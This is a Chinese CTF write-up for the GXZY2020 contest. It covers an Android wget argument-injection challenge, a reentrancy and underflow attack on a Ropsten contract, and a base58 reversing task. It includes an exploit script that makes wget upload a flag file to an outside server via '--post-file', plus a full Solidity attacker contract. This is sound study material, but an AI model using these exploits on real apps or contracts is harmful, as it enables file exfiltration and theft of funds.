GXZY2020-WP

高校战“疫”网络安全分享赛

安卓远程exploit和区块链都挺有意思的

合约交易的时候gas limit一定要给够。

GetFlag

安卓题,App启动之后在8080端口提供服务,接受json格式的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private boolean Checkpayload(String input, int ran_int) throws Exception {
JSONObject v0 = new JSONObject(input);
if((v0.has("message")) && (v0.has("check"))) {
input = v0.getString("message");
if(new BigInteger(1, MainActivity.HmacSHA1Encrypt(input, Integer.toString(ran_int))).toString(16).equals(v0.getString("check"))) {
input = input.replaceAll("-o", "").replaceAll("-O", "").replaceAll("-d", "").replaceAll("-P", "");
try {
Runtime v5 = Runtime.getRuntime();
v5.exec("wget " + input);
}
catch(IOException v4) {
v4.printStackTrace();
}

return 1;
}
}

return 0;
}

也不知道为什么,他就是要给一个AOSP中根本不存在的wget让你利用,而且因为没有调用bash所以是只能执行wget的,这里利用wget--post-file参数,在下载文件之前向服务器上传文件来泄露flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import hashlib
import hmac

FLAG_PATH = '/data/data/com.xuanxuan.getflag/files/flag'

def hmacsha1(m, k):
key = bytes(k)
message = bytes(m)
digester = hmac.new(key, message, hashlib.sha1)
return digester.digest().encode('hex')

print hmacsha1('test', '123')

p = remote("212.64.66.177",8080)
#p = remote("127.0.0.1",6665)
rand = int(p.recvline())

print("randint: " + str(rand))

cmd = "http://ip/ --post-file /data/data/com.xuanxuan.getflag/files/flag"
check_sum = hmacsha1(cmd, str(rand))
payload = '''{"message": "''' + cmd + '''", "check": "''' + check_sum + '''"}'''

print payload

p.sendline(payload)

OwnerMoney

区块链逆向+整数下溢+函数可重入造成的竟态条件利用

目标合约:0x40a590b70790930ceed4d148bf365eea9e8b35f4@ropsten

原题是强网杯的babybank

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#
# Panoramix v4 Oct 2019
# Decompiled source of ropsten:0x40a590b70790930ceed4d148bF365eeA9e8b35F4
#
# Let's make the world open source
#

const eth_balance = eth.balance(this.address)

def storage:
stor0 is addr at storage 0
stor1 is addr at storage 1
balanceOf is mapping of uint256 at storage 2
stor3 is mapping of uint8 at storage 3
bonus is mapping of uint256 at storage 4

def bonus(addr _param1): # not payable
return bonus[_param1]

def status(address _param1): # not payable
return bool(stor3[_param1])

def balanceOf(address _owner): # not payable
return balanceOf[_owner]

def unknownb4de8673(addr _param1): # not payable
return balanceOf[addr(_param1)]

#
# Regular functions
#

def _fallback() payable: # default function
revert

def unknown11f776bc(): # not payable
require caller != tx.origin
require caller % 4096 == 4095
if bool(stor3[caller]) == 1:
stor3[caller] = 0
stor0 = caller

def buy() payable:
require caller != tx.origin
require caller % 4096 == 4095
require not bonus[caller]
require not balanceOf[caller]
require call.value == 1
balanceOf[caller] = 100
bonus[caller] = 1
return 1

def payforflag(string _param1): # not payable
require caller == stor0
require bonus[caller] >= 100
stor0 = stor1
bonus[caller] = 0
call 0x4cfbdfe01daef460b925773754821e7461750923 with:
value eth.balance(this.address) wei
gas 2300 * is_zero(value) wei
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
log 0x296b9274: Array(len=_param1.length, data=_param1[all])

def change(address _toToken): # not payable
require ext_code.size(caller)
call caller.isOwner(address owner) with:
gas gas_remaining wei
args _toToken
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
if not ext_call.return_data[0]:
require ext_code.size(caller)
call caller.isOwner(address owner) with:
gas gas_remaining wei
args _toToken
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
stor3[caller] = uint8(bool(ext_call.return_data)

def transfer(address _to, uint256 _value): # not payable
require _to
require _value > 0
require balanceOf[caller] >= _value
require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)]
balanceOf[caller] -= _value
balanceOf[addr(_to)] += _value
require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)]
return 1

def sell(uint256 _amount): # not payable
require _amount >= 200
require bonus[caller] > 0
require balanceOf[caller] >= _amount
require eth.balance(this.address) >= _amount
call caller with:
value _amount wei
gas gas_remaining wei
require this.address
require _amount > 0
require balanceOf[caller] >= _amount
require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
balanceOf[caller] -= _amount
balanceOf[addr(this.address)] += _amount
require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
bonus[caller]--
return 1

说实话调用过程挺绕的,自己第二次接触也没想法。但是根据交易记录找到了上一只队伍的攻击合约,逆了出来,可能是Oops或者nebula的。

话说回来,难道这就是区块链时代的在线骑马???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// malicious contract
pragma solidity ^0.4.23;

interface VictimInterface {
function change(address addr) external;
function status(address addr) external returns (bool);
function payforflag(string b64email) external;
function buy() external payable;
function transfer(address addr,uint256 amount) external;
function balance0f(address addr) external returns (uint256);
function sell(uint256 amount) external;
}

contract attacker {

VictimInterface constant private target = VictimInterface(0x40a590b70790930ceed4d148bF365eeA9e8b35F4);
uint256 private stor0 = 0;
uint256 private stor1 = 0;

function isOwner(address _owner) public returns (bool) {
if (stor0 != 0) {
return true;
}
stor0 = 1;
return false;
}

function test3(address ad) public payable{
ad.call(0x75529fe4);
}

function step1() public payable {
target.buy.value(msg.value)();
}

function step2() public {
target.change(0);
address a = 0x40a590b70790930ceed4d148bf365eea9e8b35f4;
a.call(bytes4(0x11f776bc));
}

function step3() public {
target.sell(200);
}

function step4() public {
target.payforflag('ZngudGlAb3V0bG9vay5jb20=');
}

function balanceBack(address ad) public {
target.transfer(ad, target.balance0f(address(this)));
}

function() external payable {
if (stor1 == 0) {
stor1 = 1;
target.sell(200);
}
}
}

contract BaiGei{
function kill(address ad) public {
selfdestruct(ad);
}
function getMoney() public payable{}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not addr.lower().endswith("fff"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("fff"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))


print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")

generate_eoa1生成一个满足要求的账户,generate_eoa2生成一个账户,他的第一个部署的合约地址满足要求。

generate_eoa2部署4个合约然后转账到同一个合约让balance达到400,之后依次直到payforflag,注意目标合约大部分公开函数都不是payable。如果遭遇gas问题可以用BaiGei间接给目标合约转0.2ether以防万一。同时call的时候valuegas不一样,value是转账给的,gas是结算的手续费。如果value参数始终不正常,请用remix右边栏的value来指定并调用代理函数,最后call.value(msg.value)()这样来转发参数。

对于只知道函数签名的函数调用,用addr(contract_addr).call(bytes4(func_sig)[, parameters])完成调用。

如果一笔交易中部分出错,可以查看目标合约的inernal transaction,看看红叉叉里面是什么原因。

fxck!

没什么好说的,base58变表裸题,出题风格防侧信道攻击。

全程两个位置下断点,一个0x400EB5看表,一个0x400C23看目标字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__b58chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz'
__b58base = len(__b58chars)

def b58decode(v):
""" decode v into a string of len bytes
"""

long_value = 0L
for (i, c) in enumerate(v[::-1]):
long_value += __b58chars.find(c) * (__b58base ** i)

result = ''
while long_value >= 256:
div, mod = divmod(long_value, 256)
result = chr(mod) + result
long_value = div
result = chr(long_value) + result

nPad = 0
for c in v:
if c == __b58chars[0]:
nPad += 1
else:
break

result = chr(0) * nPad + result
return result

print b58decode('4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe')